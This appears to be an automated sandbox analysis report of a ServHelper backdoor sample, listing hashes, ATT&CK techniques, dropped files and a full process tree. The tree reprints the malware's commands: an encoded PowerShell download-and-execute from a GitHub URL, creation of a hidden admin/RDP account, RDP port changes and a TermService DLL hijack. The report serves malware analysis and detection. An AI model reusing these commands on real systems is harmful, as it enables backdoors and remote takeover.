servhelper | 8418c39d82911d39bae75090677ce1f259382a64d784e86acf31a6d9ba0ce3d9

Analysis

max time kernel
131s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
03-04-2024 01:21

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General

Target

9c3e078b4506224ea8070d01294de9ac_JaffaCakes118.exe
Size

5.7MB
MD5

9c3e078b4506224ea8070d01294de9ac
SHA1

7816a2f30124873106386e8b5b0dfb476d1debef
SHA256

8418c39d82911d39bae75090677ce1f259382a64d784e86acf31a6d9ba0ce3d9
SHA512

46e44917d8d1abe4228dc3f73b8cfb5507d99766fffa2b4a798e805e506aceed531bfa5b27a1e6f87fb59b71e32f21e75846ad300d8dc77ffcd2a0ff5a273bd4
SSDEEP

49152:aEs7HCrb/T/vO90dL3BmAFd4A64nsfJdBOGm5K6UVJ9eLZNVj/lHoRQ1wYr9MYEd:aEQjgGHmAQQQQQQQQQQQQQdC

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2800 powershell.exe
6 2800 powershell.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exe

pid process

2796 icacls.exe
2712 icacls.exe
2720 icacls.exe
2252 icacls.exe
2636 icacls.exe
2648 icacls.exe
3020 takeown.exe
2788 icacls.exe

flow	pid	process
5	2800	powershell.exe
6	2800	powershell.exe

pid	process
2796	icacls.exe
2712	icacls.exe
2720	icacls.exe
2252	icacls.exe
2636	icacls.exe
2648	icacls.exe
3020	takeown.exe
2788	icacls.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Loads dropped DLL 2 IoCs

Processes:

pid process

1992
1992
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exe

pid process

2796 icacls.exe
2712 icacls.exe
2720 icacls.exe
2252 icacls.exe
2636 icacls.exe
2648 icacls.exe
3020 takeown.exe
2788 icacls.exe

pid	process
1992
1992

pid	process
2796	icacls.exe
2712	icacls.exe
2720	icacls.exe
2252	icacls.exe
2636	icacls.exe
2648	icacls.exe
3020	takeown.exe
2788	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

4 raw.githubusercontent.com
5 raw.githubusercontent.com
6 raw.githubusercontent.com
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PGHYO8M0FMUX78OU2FER.temp	powershell.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

2564 WMIC.exe

pid	process
2564	WMIC.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

WMIC.exeWMIC.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f00b9c506585da01	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2600 reg.exe
Runs net.exe

pid	process
2600	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2480	powershell.exe
2344	powershell.exe
1952	powershell.exe
696	powershell.exe
2480	powershell.exe
2480	powershell.exe
2480	powershell.exe
2800	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

Processes:

pid process

468
1992
1992
1992
1992

pid	process
468
1992
1992
1992
1992

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2480	powershell.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	1952	powershell.exe
Token: SeDebugPrivilege	696	powershell.exe
Token: SeRestorePrivilege	2796	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	2564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2564	WMIC.exe
Token: SeAuditPrivilege	2564	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2564	WMIC.exe
Token: SeAuditPrivilege	2564	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1344	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1344	WMIC.exe
Token: SeAuditPrivilege	1344	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1344	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1344	WMIC.exe
Token: SeAuditPrivilege	1344	WMIC.exe
Token: SeDebugPrivilege	2800	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

9c3e078b4506224ea8070d01294de9ac_JaffaCakes118.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	process	target process
PID 2820 wrote to memory of 2480	2820	9c3e078b4506224ea8070d01294de9ac_JaffaCakes118.exe	powershell.exe
PID 2820 wrote to memory of 2480	2820	9c3e078b4506224ea8070d01294de9ac_JaffaCakes118.exe	powershell.exe
PID 2820 wrote to memory of 2480	2820	9c3e078b4506224ea8070d01294de9ac_JaffaCakes118.exe	powershell.exe
PID 2480 wrote to memory of 2340	2480	powershell.exe	csc.exe
PID 2480 wrote to memory of 2340	2480	powershell.exe	csc.exe
PID 2480 wrote to memory of 2340	2480	powershell.exe	csc.exe
PID 2340 wrote to memory of 2356	2340	csc.exe	cvtres.exe
PID 2340 wrote to memory of 2356	2340	csc.exe	cvtres.exe
PID 2340 wrote to memory of 2356	2340	csc.exe	cvtres.exe
PID 2480 wrote to memory of 2344	2480	powershell.exe	powershell.exe
PID 2480 wrote to memory of 2344	2480	powershell.exe	powershell.exe
PID 2480 wrote to memory of 2344	2480	powershell.exe	powershell.exe
PID 2480 wrote to memory of 1952	2480	powershell.exe	powershell.exe
PID 2480 wrote to memory of 1952	2480	powershell.exe	powershell.exe
PID 2480 wrote to memory of 1952	2480	powershell.exe	powershell.exe
PID 2480 wrote to memory of 696	2480	powershell.exe	powershell.exe
PID 2480 wrote to memory of 696	2480	powershell.exe	powershell.exe
PID 2480 wrote to memory of 696	2480	powershell.exe	powershell.exe
PID 2480 wrote to memory of 3020	2480	powershell.exe	takeown.exe
PID 2480 wrote to memory of 3020	2480	powershell.exe	takeown.exe
PID 2480 wrote to memory of 3020	2480	powershell.exe	takeown.exe
PID 2480 wrote to memory of 2788	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2788	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2788	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2796	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2796	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2796	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2712	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2712	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2712	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2720	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2720	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2720	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2252	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2252	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2252	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2636	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2636	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2636	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2648	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2648	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2648	2480	powershell.exe	icacls.exe
PID 2480 wrote to memory of 2708	2480	powershell.exe	reg.exe
PID 2480 wrote to memory of 2708	2480	powershell.exe	reg.exe
PID 2480 wrote to memory of 2708	2480	powershell.exe	reg.exe
PID 2480 wrote to memory of 2600	2480	powershell.exe	reg.exe
PID 2480 wrote to memory of 2600	2480	powershell.exe	reg.exe
PID 2480 wrote to memory of 2600	2480	powershell.exe	reg.exe
PID 2480 wrote to memory of 1128	2480	powershell.exe	reg.exe
PID 2480 wrote to memory of 1128	2480	powershell.exe	reg.exe
PID 2480 wrote to memory of 1128	2480	powershell.exe	reg.exe
PID 2480 wrote to memory of 1828	2480	powershell.exe	net.exe
PID 2480 wrote to memory of 1828	2480	powershell.exe	net.exe
PID 2480 wrote to memory of 1828	2480	powershell.exe	net.exe
PID 1828 wrote to memory of 1572	1828	net.exe	net1.exe
PID 1828 wrote to memory of 1572	1828	net.exe	net1.exe
PID 1828 wrote to memory of 1572	1828	net.exe	net1.exe
PID 2480 wrote to memory of 1700	2480	powershell.exe	cmd.exe
PID 2480 wrote to memory of 1700	2480	powershell.exe	cmd.exe
PID 2480 wrote to memory of 1700	2480	powershell.exe	cmd.exe
PID 1700 wrote to memory of 976	1700	cmd.exe	cmd.exe
PID 1700 wrote to memory of 976	1700	cmd.exe	cmd.exe
PID 1700 wrote to memory of 976	1700	cmd.exe	cmd.exe
PID 976 wrote to memory of 328	976	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\9c3e078b4506224ea8070d01294de9ac_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9c3e078b4506224ea8070d01294de9ac_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jwpow3jp.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2340
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9741.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9740.tmp"
      4⤵
      PID:2356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:696
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3020
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2788
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2796
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2712
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2720
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2252
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2636
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2648
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2708
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Sets DLL path for service in the registry
    - Modifies registry key
    PID:2600
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1128
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1572
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1700
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:976
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:328
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1548
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:876
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1968
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:3024
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1972
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2304
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:948

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:2852
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:2124
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1508

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Y4XauIG6 /add
1⤵
PID:1740
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Y4XauIG6 /add
  2⤵
  PID:864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Y4XauIG6 /add
    3⤵
    PID:2928

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1120
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:2116
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:292

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" KXIPPCKF$ /ADD
1⤵
PID:2416
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" KXIPPCKF$ /ADD
  2⤵
  PID:1164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" KXIPPCKF$ /ADD
    3⤵
    PID:1744

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:2236
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1588

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Y4XauIG6
1⤵
PID:2148
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Y4XauIG6
  2⤵
  PID:2476
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Y4XauIG6
    3⤵
    PID:1748

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2532
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2564

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2356
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1344

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2552
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES9741.tmp

Filesize
1KB

MD5
f5b3a1f8e31fd8169e8a81b0e508f9c2

SHA1
84d67f1833b8651b6a8b2c0e30fa79680234a0ef

SHA256
e46cc7064c844f207586f6a27d3d831c9adac28e673ea846fd74674ab1d34031

SHA512
989b49186baaef433a7729a6fc65802ca7a84f2e45afd9aee5ab856c67603981f25af504692d7f971d9fd0945ea3c95771c6d0d50f600881992ea695ab6ac10c

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

Filesize
2.5MB

MD5
1ef6eef1d39c71661339d818226d688d

SHA1
b3e44163a9d9894d091f59f888d7d5d90e68e216

SHA256
dcad3e3226ea222782284a604f9354ac661cf6e34c26c62162dd1aeedfbef04a

SHA512
8deb2b6df79c2ce81604b9124d92c6222f517cea021416513fdd8dfc9f8d46ae464cd69f50ee70a343cfe5b4fbc4d08212bcf3e1416262193cae52b4a30b2c49

Download Submit
C:\Users\Admin\AppData\Local\Temp\jwpow3jp.dll

Filesize
3KB

MD5
acc9acf4cb7dc3b234d6d3be7318be42

SHA1
248333888c7df6029eeede6abe9913b0868cc51e

SHA256
8ab2c207fcc35680e0a8c7bd6683931629921006ac796a77e865f97852ee4971

SHA512
23a153024cf86431540cfb61574f85fa88614765878748987503a58323a5da84ff6ad634d113120a729e6f2a05d6735a37f9dbdd7572d71f92947ccea9a54047

Download Submit
C:\Users\Admin\AppData\Local\Temp\jwpow3jp.pdb

Filesize
7KB

MD5
ec48f9aec7ed617019b0cca54498ea6b

SHA1
f0f9293198ab5d62f5803d65e1740f7be7c14c16

SHA256
3c45d5f0ebc3ebb52d6933df95727c62682d786591af5f8a2c2a23a358a4df2f

SHA512
fc55a3a0c41fa8984fb68965e20ed8e407c82db66d677cd7fe66c20640cb92ec00cabfd17557e5cd75423f1629228a778257946c012e90aeba61e42cb3763acf

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

Filesize
1KB

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
dbe1c9b55848902d73ba7c006c6e1219

SHA1
f2538efef96a6009513b8b67f4b87ca31f68d951

SHA256
d3dc187e374b00900063ffed31039716d7cbeb0991823ecebc351537392aa0e9

SHA512
52c63a9bf376e7ba29a4b4d26f9339dbbaad342cc7d600df458a05468a3baf509bac81c1217268d1cd9713859cff2a39ba5a325d4aabe23af61c151d1dd52114

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC9740.tmp

Filesize
652B

MD5
f5fdc5a5ad0e660876a1ed2c59264266

SHA1
1ab7a2c72ebd5a7231a924ebe9f1689229ac28b2

SHA256
bfe743de864adf523230030622fea9bd3f363c86092f29822d5733c6f1eea4a1

SHA512
46cbc91414d5582b714b1c2b0b4dd04874bd552354249346624030056ef2cf24b6068ba7411ada41f867e3ae8b69057e8f4151099dc9948b3a173cb4985822c2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jwpow3jp.0.cs

Filesize
424B

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jwpow3jp.cmdline

Filesize
309B

MD5
1b8d18d8cf25f56dbf1231d6636e483a

SHA1
9cc82733cc46ae0d9c5c7d3594a2a5aa75fe7955

SHA256
6ccd76f3ca87d6114d49d6dfa4a61797dfa44a8ca9be670408ebbd0474dbc1ff

SHA512
f083dbacd6ae3934695fdbdde3d4d793a844bf703e456647b64a2d366148cdc2304cf6d5f77cb3ace79f472720aea368458c34b288249c0b21bd60278df97f3f

Download Submit
\Windows\Branding\mediasrv.png

Filesize
60KB

MD5
44161e115bf968d5b616d254be2f38a1

SHA1
b801a9318b1fc89996f76055c69e071e0fed368a

SHA256
2750122708b726eb5e75869401dc6f3b663e8ca342924f8a713adfca86e80491

SHA512
375ab2fd36f9953faef09e10889535a0e8a5192c841d941998ff0f193d5b6702a26698149789f77925689c74edecb97a78382c2d2529c6ab10a47b723d3a185e

Download Submit
\Windows\Branding\mediasvc.png

Filesize
743KB

MD5
7245ed7533b89d29f7f5bb35830d4560

SHA1
8efaef0babf855989e460451803032940ae0c7bd

SHA256
89549afa855d70f7bf33b1979541ab0e732c7cc16adb866efffe9d1e8be62638

SHA512
f19a1a72684cc54757d065133dd95122acce69744267fa49a55a5508263946953ad8bca4e2e3188e02a119948dac95a63c185d92c57f32dad51bfaa077a216f3

Download Submit
